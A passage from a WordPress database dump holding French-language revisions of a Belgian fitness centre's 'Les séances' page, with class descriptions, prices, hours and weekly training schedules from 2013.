dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:28:10', '2013-06-16 14:28:10', '', 11, 'http://www.crosstrainingcenter.be/?p=123', 0, 'revision', '', 0),
(219, 1, '2013-07-03 18:25:11', '2013-07-03 18:25:11', '&lt;h2&gt;Prix&lt;/h2&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-2', '', '', '2013-07-03 18:25:11', '2013-07-03 18:25:11', '', 214, 'http://www.crosstrainingcenter.be/?p=219', 0, 'revision', '', 0),
(124, 1, '2013-06-16 14:33:05', '2013-06-16 14:33:05', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\nEn semaine&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:33:05', '2013-06-16 14:33:05', '', 11, 'http://www.crosstrainingcenter.be/?p=124', 0, 'revision', '', 0),
(125, 1, '2013-06-16 14:34:31', '2013-06-16 14:34:31', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\nEn semaine&lt;br&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:34:31', '2013-06-16 14:34:31', '', 11, 'http://www.crosstrainingcenter.be/?p=125', 0, 'revision', '', 0),
(206, 1, '2013-07-03 18:02:08', '2013-07-03 18:02:08', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;\r\nDuo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\n\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\n\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\n\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:02:08', '2013-07-03 18:02:08', '', 11, 'http://www.crosstrainingcenter.be/?p=206', 0, 'revision', '', 0);
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(205, 1, '2013-07-03 17:58:05', '2013-07-03 17:58:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr 